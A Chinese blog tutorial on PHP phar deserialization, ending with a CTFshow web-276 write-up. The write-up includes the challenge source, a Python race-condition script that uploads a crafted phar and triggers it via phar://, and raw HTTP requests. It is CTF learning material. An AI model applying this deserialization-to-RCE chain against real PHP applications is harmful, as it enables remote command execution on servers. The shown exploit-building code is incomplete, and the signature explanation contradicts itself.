php中的phar反序列化基础

733次阅读
没有评论

共计 6336 个字符,预计需要花费 16 分钟才能阅读完成。

参考php 反序列化拓展攻击详解 –phar- 先知社区]

什么是 phar?

phar 类似 Java 中的 jar,将整个 php 应用程序打包到一个文件里面。
用户可以直接通过 php test.phar 执行一个 php 项目

phar 本质上是一个包含多个文件的压缩包,里面存储着有特殊的数据。
开发者可以把 phar 一整个项目打包成一个 phar 文件,用户下载这一个文件就可以执行整个项目
php 中的 phar 反序列化基础

phar 文件的结构

大体来说 Phar 结构由 4 部分组成
php 中的 phar 反序列化基础

1.stub:phar 文件标识

<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
  • 这是一个 合法的 PHP 脚本片段,必须以 <?php 开头,并以 __HALT_COMPILER(); ?> 结尾。

  • 当你直接运行 php app.phar 时,PHP 解释器会执行这个 stub。

  • 它通常用于设置自动加载、引导应用入口等。
    简单来说可以把他理解为一个标志
    格式为 xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?> 来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。

    2. Manifest(清单 / 元数据)

  • 一个二进制或序列化的结构,记录了归档中每个文件的:

    • 文件路径(在 phar 内部的虚拟路径)
    • 偏移量(在文件中的位置)
    • 大小
    • 压缩方式(none / gzip / bzip2)
    • 权限(如 0644)
    • 时间戳
    • 是否为目录
  • 还可能包含全局元数据(通过 setMetadata() 设置)。

这部分由 Phar 扩展自动管理,开发者通常无需手动操作。

3. File Contents(文件内容区)

  • 所有被添加到 Phar 中的实际文件内容(按顺序或按压缩方式存储)。
  • 每个文件可以独立选择是否压缩(Gzip 或 Bzip2)。
  • 在 PHP 中可通过 phar:// 流访问,例如:
    file_get_contents('phar://myapp.phar/config/app.php');

    4. Signature(签名,可选)

  • 位于文件末尾(但在 __HALT_COMPILER(); 之后?不,实际在 __HALT_COMPILER(); 之前 的数据之后)。
  • 用于验证 Phar 文件是否被篡改。
    这个没啥好讲的,一般不是考点

生成一个 phar 文件

注意:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件。

<?php
   class TestObject {}

   $phar = new Phar("phar.phar"); // 后缀名必须为 phar
   $phar->startBuffering();// 开启 Phar 的缓冲写入模式。操作暂存内存中
   $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
   $o = new TestObject();
   $phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
   $phar->addFromString("test.txt", "test"); // 在 Phar 归档内部创建一个名为 test.txt 的虚拟文件,内容为字符串 "test"。// 签名自动计算
   $phar->stopBuffering();// 将内存中数据写入磁盘
?>

我们可以在 phpstorm 里面看到 phar 文件展开的格式
php 中的 phar 反序列化基础

phar 文件中的 meta-data 是以序列化的形式储存的
php 中的 phar 反序列化基础

当 PHP 访问 phar://... 流时(如 file_exists('phar://a.phar')),会 自动反序列化 manifest 中的 metadata
metadata 里面序列化后的数据:
php 中的 phar 反序列化基础

触发反序列化的函数

有序列化数据必然会有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,测试后受影响的函数如下:
php 中的 phar 反序列化基础

这里我们来演示一下 phar 触发反序列化
生成 phar 的 php:

<?php  
phpinfo();  
class TestObject {public function __destruct() {  
        echo $this->data;  
        echo 'Destruct called';  

    }  
}  

@unlink("phar.phar");  

$phar = new Phar("phar.phar"); // 后缀名必须为 phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub  
$o = new TestObject();  
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest  
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件  
// 签名自动计算  
$phar->stopBuffering();  
?>

读取 phar 的 php:

<?php  
class TestObject {public function __destruct() {  
        echo $this->data;  
        echo 'Destruct called';  

    }  
}  
include('phar://phar.phar/test.txt');

运行第一个生成 phar 文件
然后运行第二个 php
php 中的 phar 反序列化基础
可以看到成功触发了反序列化
Bzip / Gzip协议和 phar:// 一样可以触发反序列化

$filename = 'compress.zlib://phar://phar.phar/test.txt';

利用 phar 进行 rce

利用条件
1.phar 文件要能够上传到服务器端。
2. 如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数要有可用的魔术方法作为 " 跳板 "。
3. 文件操作函数的参数可控,且::、/、phar等特殊字符没有被过滤。

看几个例题

CTFshow web-276

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2020-12-08 19:13:36  
# @Last Modified by:   h1xa  
# @Last Modified time: 2020-12-08 20:08:07  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

highlight_file(__FILE__);  

class filter{  
    public $filename;  
    public $filecontent;  
    public $evilfile=false;  
    public $admin = false;  

    public function __construct($f,$fn){        
    $this->filename=$f;        
    $this->filecontent=$fn;  
    }  
    public function checkevil(){if(preg_match('/php|../i', $this->filename)){$this->evilfile=true;}  
        if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}  
        return $this->evilfile;  
    }  
    public function __destruct(){if($this->evilfile && $this->admin){system('rm'.$this->filename);  
        }  
    }  
}  

if(isset($_GET['fn']))
{$content = file_get_contents('php://input');   
$f = new filter($_GET['fn'],$content);  

if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);        
copy($_GET['fn'],md5(mt_rand()).'.txt');        
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);  
        echo 'work done';  
    }  
      
}else{echo 'where is flag?';}

前面的 filter 类暂时先不管
重点是后面的 file_put_contentsfile_get_contents
file_get_contents可以写入我们的 phar 文件
然后 file_put_contents 地方可以使用我们的 phar:// 解析数据从而实现反序列化
那么我们可以构造恶意的 phar 文件实现 rce
构造恶意 phar 文件的 php

<?php
class filter{  
    public $filename;  
    public $filecontent;  
    public $evilfile=false;  
    public $admin = false;  

    public function __construct($f,$fn){  
        $this->filename=$f;  
        $this->filecontent=$fn;  
    }  
    public function checkevil(){if(preg_match('/php|../i', $this->filename)){$this->evilfile=true;}  
        if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}  
        return $this->evilfile;  
    }  
    public function __destruct(){if($this->evilfile && $this->admin){system('rm'.$this->filename);  
        }  
    }  
}

由于会删除文件,这里需要用到条件竞争

import base64  
import requests  
import threading  
flag = False  
url = 'https://01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show/'  
data = open('./evil.phar', 'rb').read()  
pre_resp = requests.get(url,verify = False)  
print(pre_resp.status_code)  
if pre_resp.status_code != 200:  
    print(url + 'n 链接好像挂了....')  
    exit(1)  
def upload():  
    requests.post(url+"?fn=evil.phar", data=data, verify = False)  
def read():  
    global flag  
    r = requests.post(url+"?fn=phar://evil.phar/", data="",verify = False)  
    if "ctfshow{" in r.text and flag is False:  
        print(base64.b64encode(r.text.encode()))  
        flag = True  
while flag is False:  
    a = threading.Thread(target=upload)  
    b = threading.Thread(target=read)  
    a.start()  
    b.start()

或者是用 yakit
upload:

POST /?fn=evil.phar HTTP/1.1

Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show

Connection: keep-alive

sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9

{{file(C:UsersRycarPhpstormProjectsphp 反序列化 ctfshow-web276evil.phar)}}

rce:

POST /?fn=phar://evil.phar/ HTTP/1.1

Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show

Connection: keep-alive

sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9
正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-11-26发表,共计6336字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码